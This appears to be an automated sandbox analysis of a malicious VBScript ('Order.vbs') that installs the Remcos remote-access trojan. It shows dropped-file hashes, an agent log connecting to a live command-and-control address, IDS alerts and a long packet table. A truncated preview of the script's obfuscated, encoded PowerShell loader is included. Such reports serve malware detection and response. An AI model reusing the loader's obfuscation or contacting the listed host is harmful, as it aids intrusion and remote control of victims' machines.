SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zksnyaie.usn.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\ConDrv

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	623
Entropy (8bit):	4.398152318055047
Encrypted:	false
SSDEEP:	12:caFqFkLmxyRbmkclkL6hHAFFRRRr6InKrkLteEDle6mQmel3gGn:7QFtUbmjltoRR3teEDleN3elH
MD5:	6DBE20513BDFA679A364C53135720434
SHA1:	3F025B2B699B589FBBD1853E42BC205A18314B1C
SHA-256:	2694E22C80E25960EEB8FBEA6A008F66B8A0880EAEEE73F77D9C3276645E6C3E
SHA-512:	42426418F18FFB1C671534E8C23FA452DB4C99C32063BE06153D14E4A8FA20F8AA70661326CACDF73F76BCD7BFDD697F25A3EE899BC08472C2DE971D721982DB
Malicious:	false
Preview:	... ______ ...(_____ \ ... _____) )_____ ____ ____ ___ ___ ...\| __ /\| ___ \| \ / ___) _ \ /___)...\| \| \ \\| ____\| \| \| ( (__\| \|_\| \|___ \|...\|_\| \|_\|_____)_\|_\|_\|\____)___/(___/ .....Remcos v5.1.3 Light.... BreakingSecurity.net....11:05:23:275 i \| Remcos Agent initialized..11:05:23:291 i \| Access Level: User..11:05:23:291 i \| Connecting \| TLS On \| 154.216.17.141:5922..11:05:23:322 i \| TLS Handshake... \| 154.216.17.141:5922..11:05:24:150 i \| Connected \| TLS On \| 154.216.17.141:5922..11:05:24:541 i \| KeepAlive \| Enabled \| Timeout: 60..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.4346927115613735
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	Order.vbs
File size:	15'609 bytes
MD5:	56815d5ebf721c3782ecbc8b415f1c0a
SHA1:	4bc177cad4a63528f271a3578a12418f96123f69
SHA256:	857cc9b2e6ba71e001ff2039a1d3a795e54a8cb99df9362b6ebc255de7aaaad4
SHA512:	17d397695b10f7cd8d94ed23cc7f0e7da07ae36133a47365dc3a747e1850196bbc73b86ce34076a25f161d8235b7fc2beddd2e3f3ae3ea5e00822b2b6e984207
SSDEEP:	192:yLqqhqxwJrpWlUZVYxIin3lnmLspomTQLGIgAC/rlnCkRcSKWInZo/kpJcGPJZMi:HqJJroZudLsnTaGgPJmxNSiMFpWnk
TLSH:	BD626349F7171FF02E2E47248C51F68641A292B83E35F8CD14FED4CC68272A6DE686D9
File Content Preview:	'g..fkrfcIgScpi = rRegisggfgterteadkggns2211 & ""..Call Uglisging("$co" & "digo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#")..Call Uglisging("GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##")..bhdofkjr = LenB("odhdddk")..Cons

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-21T17:05:19.370699+0200	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	1	52.217.161.161	443	192.168.2.6	49764	TCP
2024-10-21T17:05:22.970205+0200	2020423	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 1 M1	1	185.199.108.133	443	192.168.2.6	49789	TCP
2024-10-21T17:05:22.970205+0200	2020425	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 3 M1	1	185.199.108.133	443	192.168.2.6	49789	TCP
2024-10-21T17:05:24.318537+0200	2036594	ET JA3 Hash - Remcos 3.x/4.x TLS Connection	1	192.168.2.6	49805	154.216.17.141	5922	TCP
2024-10-21T17:05:25.552751+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49812	178.237.33.50	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 21, 2024 17:05:15.520431995 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:15.520463943 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:15.520543098 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:15.532932043 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:15.532951117 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.124319077 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.124469042 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:16.159090996 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:16.159121037 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.159605026 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.172523022 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:16.215347052 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.511168957 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.511198044 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.511256933 CEST	443	49758	185.166.143.48	192.168.2.6
Oct 21, 2024 17:05:16.511274099 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:16.511305094 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:16.515239000 CEST	49758	443	192.168.2.6	185.166.143.48
Oct 21, 2024 17:05:16.543337107 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:16.543382883 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:16.543528080 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:16.543965101 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:16.543988943 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.325876951 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.325999975 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.327971935 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.327980995 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.328351021 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.329818010 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.371332884 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.471133947 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.472496986 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.472522974 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.472577095 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.472588062 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.472642899 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.553061008 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.553097010 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.553150892 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.553167105 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.553212881 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.554831028 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.554852962 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.554896116 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.554903030 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.554929972 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.554953098 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.634327888 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.634366989 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.634440899 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.634450912 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.634515047 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.634520054 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.635425091 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.635461092 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.635489941 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.635497093 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.635528088 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.636877060 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.636938095 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.636949062 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.636967897 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.637001038 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.637028933 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.637780905 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.637810946 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.637845039 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.637852907 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.637875080 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.637896061 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.637902021 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.638931990 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.638969898 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.638988972 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.638995886 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.639034986 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.802866936 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.802880049 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979847908 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979863882 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979908943 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979922056 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979928970 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979933023 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.979953051 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979963064 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.979994059 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980020046 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980108023 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980117083 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980151892 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980158091 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980166912 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980191946 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980200052 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980207920 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980232954 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980305910 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980319023 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980344057 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980361938 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980370998 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980381966 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980382919 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980393887 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980408907 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980437040 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:17.980443001 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:17.980479002 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.039995909 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040018082 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040038109 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040129900 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.040144920 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040191889 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.040210962 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.040297985 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040329933 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040405989 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.040405989 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.040412903 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040467024 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.040944099 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.040965080 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041004896 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041017056 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041038036 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041059971 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041064024 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041377068 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041412115 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041440964 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041446924 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041480064 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041578054 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041594028 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041645050 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041651011 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041851997 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041884899 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041910887 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.041918039 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.041935921 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046278954 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046349049 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046355963 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046406984 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046433926 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046586990 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046616077 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046646118 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046653032 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046678066 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046788931 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046812057 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046838045 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046844006 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.046875000 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046905041 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.046909094 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.049546003 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.049563885 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.049642086 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.049648046 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.049855947 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.049896002 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.049923897 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.049931049 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.050050974 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.050081015 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.050098896 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.050106049 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.050136089 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.050163984 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.051275969 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.051295042 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.051331043 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.051337957 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.051367044 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.051467896 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.051471949 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053292036 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053313017 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053354979 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.053360939 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053392887 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.053497076 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053538084 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053574085 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.053582907 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053594112 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.053831100 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053852081 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053894043 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.053900003 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.053925037 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.054330111 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.054343939 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.054382086 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.054388046 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.054408073 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.054764032 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.054792881 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.054816008 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.054824114 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.054841042 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.055259943 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.055274963 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.055351019 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.055356979 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.055551052 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.055568933 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.055686951 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.058890104 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.058897972 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.058916092 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.058926105 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059012890 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059021950 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059039116 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059053898 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059151888 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059156895 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059160948 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059211969 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059231997 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059398890 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059464931 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059483051 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059489012 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059511900 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059519053 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059542894 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059751034 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059793949 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059798956 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059807062 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.059839964 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.059864044 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.060030937 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.060067892 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.060318947 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060333967 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060354948 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060374975 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.060381889 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060400963 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.060621977 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060642958 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060672998 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.060679913 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.060698032 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.061208010 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.061223030 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.061269045 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.061275005 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.061291933 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.061404943 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.061422110 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.061456919 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.061463118 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.061484098 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.061484098 CEST	49764	443	192.168.2.6	52.217.161.161
Oct 21, 2024 17:05:19.061983109 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062011003 CEST	443	49764	52.217.161.161	192.168.2.6
Oct 21, 2024 17:05:19.062041998 CEST	49764	443	192.168.2.6	52.217.161.161
